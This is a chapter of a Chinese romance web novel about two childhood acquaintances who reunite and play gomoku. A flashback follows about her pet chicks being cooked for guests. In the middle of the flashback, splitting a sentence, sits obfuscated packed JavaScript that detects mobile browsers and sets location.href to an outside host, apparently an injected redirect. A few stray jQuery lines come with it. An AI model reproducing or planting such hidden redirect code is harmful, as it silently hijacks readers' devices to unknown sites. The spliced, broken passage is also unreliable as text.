裴岘禹一手撑在她身侧控制距离,避免靠太近,右肘重重磕在木板上,吃痛“嘶”了声。
烛火被撇开的抹布盖灭,房间晦暗,雪地漫反射的月光映亮天花板一角。
室内安静,老旧床板“嘎吱嘎吱”响个不停,呼吸声也显得格外暧昧。
裴岘禹和冉思沐的脸仅隔一拳距离。
她不知道是吓懵了还是摔懵了,双手仍紧紧揪住他的衣领,愣愣看着他,裴岘禹被抓着,动弹不得,也只能回望。
她的长发铺开,有几缕搭在睫毛上,眼睛微眯,有股凌乱破碎的美感;黑眼仁里倒映出一点光亮,随她眨眼,时隐时现,像会呼吸的星星。
冉思沐渐渐回神,脑后感受到了温热,她连忙撒手探向自己的头,却没成想摸到了男人的手腕,温热是从他掌心传来的。
她架着胳膊撑起身,偏过脸躲开正面拉近的距离,裴岘禹配合地抽回手站直,一边搓着火辣辣的手背,一边偷眼看她反应。
待他退身,冉思沐拢着外套坐起,一刻不停地划亮火柴,重新点燃蜡烛。
微弱晕黄的光充盈在室内,没有了黑暗掩护,方才这一遭就显得不合常理了。
裴岘禹尴尬地清清嗓子,搭错筋似的质问:“你,你怎么在这?”
冉思沐拾起抹布和手电,平静反问:“这话不该我问吗?我家后院,你不请自来,做什么?”
他又去揉胳膊肘,不看她,话里话外透着计较扭捏。
“我来送奶奶啊,刚好路过,看这屋里有灯忽闪,还以为遭贼了就来看看,我哪知道是你,我要知道是你就不来了。”
在她坦然的注视下,裴岘禹搬来个小板凳,擦了把灰,坐在书桌旁,和她保持了距离。
热水已经凉了,冉思沐洗净抹布继续擦桌子,抠掉刚刚洒落凝固的蜡油,慢悠悠道:“跟个孩子似的。”
见她靠近,裴岘禹立刻拖着板凳坐得远些,和她始终保持一米以上的距离,“男人至死是少年。”
她没忍住笑,“我说的保持距离,是指不要让别人误会的男女关系,十多年的熟人了,你现在这样,是打算跟我断绝来往?”
那倒没有。
裴岘禹心里如是想,嘴上什么都没说,他慢慢悠悠地又拖着板凳坐回桌旁,扒拉起冉思沐从书桌兜里掏出的零碎,微微仰脸,转眼瞄她。
好温柔啊,像烛光里的妈妈。
……温柔?
他忽而又想起小时候被冉思沐暴打的场景,收回视线,兀自笑着摇头。
“笑什么?”
“没什么。你晚上就住这?不冷吗?”
“有取暖器,就两个晚上,我爸妈觉浅,怕他们休息不好。”
他想到刚才她摸上自己手腕时指尖冰疙瘩似的凉,随口提议:“要不跟我回镇上,开个房?”
这话听着有歧义。
毕竟昨晚冉思沐曾语出惊人的提到了“三人行”,他触及到她戏谑的眼神,瞬间有些耳热,急忙解释:“不是,你别想歪,我意思是,单独给你开个房间,这太冷了,后半夜还要下雪。”
冉思沐瞥他,温吞道:“我想歪了还是你想歪了?”
接着视线下移,“又不是没见过,不大点儿,我没兴趣。”
被质疑男人能力,裴岘禹气极,“我要不是要脸,高低现在就脱裤子给你看。”
“有什么好看的,疲软状态下不也是一小坨?”
“……”
收拾得差不多了,冉思沐作势送客,一口气噎在胸口的裴岘禹赖着不肯走,试图从别处找回点场子。
突然,他看到了桌面上熟悉的盒子——年少时他们经常一起下的那副超简易五子棋。
裴岘禹捉住冉思沐的手腕,扬了扬手上的绿塑料盒。
“老规矩,来一把?”
冉思沐不自然地别过脸,见她这模样,裴岘禹有股占了上风的得意。
他们都知道,并且只有他们知道,冉思沐曾经因为一盘棋,输掉了什么。
“你是赌狗吗?”
裴岘禹笑得恶劣,“别装了,你玩儿心比谁都大,怎么现在不敢了?”
皑皑白雪覆盖了前院房顶,檐下窗内灯火通明。
她想起妈妈对她说的——裴岘禹,你降不住他。
冉思沐垂眼轻问:“好啊,赌什么?”
裴岘禹根据二人现状,提出了他自认最合理的赌注:“你赢了,我给你介绍对象;我赢了……你陪我出去玩儿。”
“玩什么?”
“你不懂,也别管,我有发展下线的任务。”
“……好。”
裴岘禹喜滋滋地摊开塑料纸棋盘,“呆头鹅,论反差,你可是高手。”
冉思沐扬了扬唇角,在中心放下一颗黑子,“表里不一的狗东西,论心眼,谁又斗得过你?”
//////回忆//////
“红白黄”是爷爷带冉思沐赶集时买回来的三只小鸡崽。
名字是她亲自取的,小红、小白、小黄,杨巧英锐评:跟盘菜似的。
小思沐听不懂调侃,以为妈妈要把它们给炖了,张开瘦小的胳膊护着鸡崽,“不许吃!”
杨巧英戳戳她额头,笑哈哈,“我说的是西红柿炒蛋!你不是最爱吃了?”
小鸡崽刚到家时,险些冻死,是冉思沐把它们装进纸盒,端到被窝里,打着台灯加热,一宿一宿地悉心照料,“红白黄”才终于有了活力。
鸡圈是爷爷帮她搭的,自此她给了三只小鸡一个家。
裴岘禹来到冉家的时候,“红白黄”已经养一年多了。
他来的第一年冬天,春节前,那辆很贵很贵的奔驰再次出现在家门口。
来的是裴伯伯,和一个打扮时尚靓丽的女人,还带着个和她年纪相仿,穿着白色公主裙的女孩。
她知道,大的应该就是裴岘禹的后妈,小的八成是后妈的孩子,看着娘俩那虚假的笑容她总觉得手痒痒,后妈那双透着精明的眼睛冉思沐一看就知道,是个比二狗妈妈还厉害的狠角色。
她起初以为他们是来接裴岘禹的,还稍稍同情伤感了半天,乖巧文静的漂亮男孩要被后妈继妹折磨了,好可怜的“黑小子”。
事实证明,她想多了,他们不仅没有带走裴岘禹,她还倒赔上了自己的宝贝疙瘩。
那天傍晚,大舅一家也赶巧来做客,舅妈厨艺好,知道裴毅和谢容是城里来的大老板,便撸起袖子自告奋勇准备晚餐。
冉思沐被妈妈打发去村头小卖部买酒和花生米,酒要买最贵的,花生米要现炸的。
等再回来时,已经是炊烟袅袅,满院飘香了。
她把东西放在圆桌上,照惯例取来给“红白黄”做饲料的铝饭盒,正捣菜叶呢,妈妈走过来,欲言又止,“乖沐沐,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495675|170170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今天先不喂了吧?傍晚爷爷刚喂过的。”
冉思沐垂眼看看怀里的盒子,仰脸笑道:“没事妈妈!撑不死!”
说着就朝鸡圈走去,杨巧英“哎”了声,没拦住,有些忐忑地站在原地,和冉立民面面相觑。
果不出所料,没一会儿就传来她的尖叫声,冉思沐抱着只奄奄一息的鸡冲回堂屋,大声哭喊:“妈!我的小红怎么了!”
鸡脖子软塌塌,显然是救不活了,冉立民怕她惊着屋里正聊天的裴家人,忙拉她进厨房,“沐沐乖嗷,小红生病了,治不好了,你不哭,爸爸后天休息再带你去买一只,好不?”
小思沐哭得泪眼婆娑,给冉立民心疼坏了,她扁着嘴,“我出门前还好好的!怎么会是病了!还有我的小白和小黄呢!”
正做饭的舅妈瞧她哭哭啼啼的,凑上来问:“咋了咋了?哭啥呢?啥小白小黄啊?”
见她怀里抱着只死了的鸡,了然又道:“鸡啊?我给宰了啊!都上桌了!圈里就那俩最肥,沐沐你快,快洗洗手去吃!这只是咋回事?怎么让人给拧了脖子?”
冉思沐不顾杨巧英的拉扯,倔驴似的冲进正屋。
桌上已经摆满菜肴,主位坐着和爷爷聊天的裴伯伯,一旁的后妈正将大鸡腿夹给公主裙。
她怒目圆瞪,呼哧喘气。
冉思焓的碗里也放了肉和汤,她没动,怯怯地叫了声“姐姐”,有些自责难过。
裴岘禹看了她一眼,低头闻闻香喷喷的鸡腿,抿了口汤。
而公主裙则嚼着鸡腿,指着她怀里的小红,“你抱着它干什么呀!不好玩,一掐就死了!”
冉思沐嚎啕大哭:“你们真的很讨厌!!!!!!”
那晚,她在隔壁表叔家住下,思焓捧着装满鸡骨头的碗找到她,二人来到平常下地劳作的田埂边,在靠近兰渠的地方,挖了坑,把“红白黄”一起埋了。
“姐姐别难过了……”
“思焓你吃了吗?”
“我没有,我知道是‘红白黄’,我跟大人们讲,没人听我的……”
“我要给它们报仇。”
翌日,知晓了来龙去脉的舅妈去学校接到冉思沐,请她吃了顿大餐亲自赔罪。
裴伯伯留下一笔钱,带着那个精明后妈和讨人厌的公主裙“跑路”了,她的火没处撒,于是就盯上了她亲眼看见喝过汤的裴岘禹。
两天后,放学路上,冉思沐拜托刘二狗送思焓回家,独自跟在裴岘禹身后,然后趁他不备,把他拖进散落野地里的巨大草垛后暴打一顿。
杨巧英和冉立民沿路找来时,两个小人儿正扭打在一处。
这个时候他们个头儿一般高,裴岘禹完全没占到便宜,被打得鼻青脸肿,淌了鼻血也一声没吭;冉思沐一头乱发上沾满枯草叶,脸上一块红一块黑,被爸爸拉开时还在飞踢。
“臭哑巴!我讨厌你!敢吃我的鸡!咱们梁子结大了!”
“……难吃。”
“你说什么???”
“我说,很难吃。”
“爸!你别拦我!我要打死他!!!”
那是个悲伤的冬天,冉思沐戒荤三月以示悼念,而裴岘禹自那之后,再也不碰鸡肉了。
荒芜静寂的正月里,一颗“仇恨”的种子悄悄在女孩的心里种下,之后,她同“红白黄”事件的所有当事人都达成了和解。
除了裴岘禹。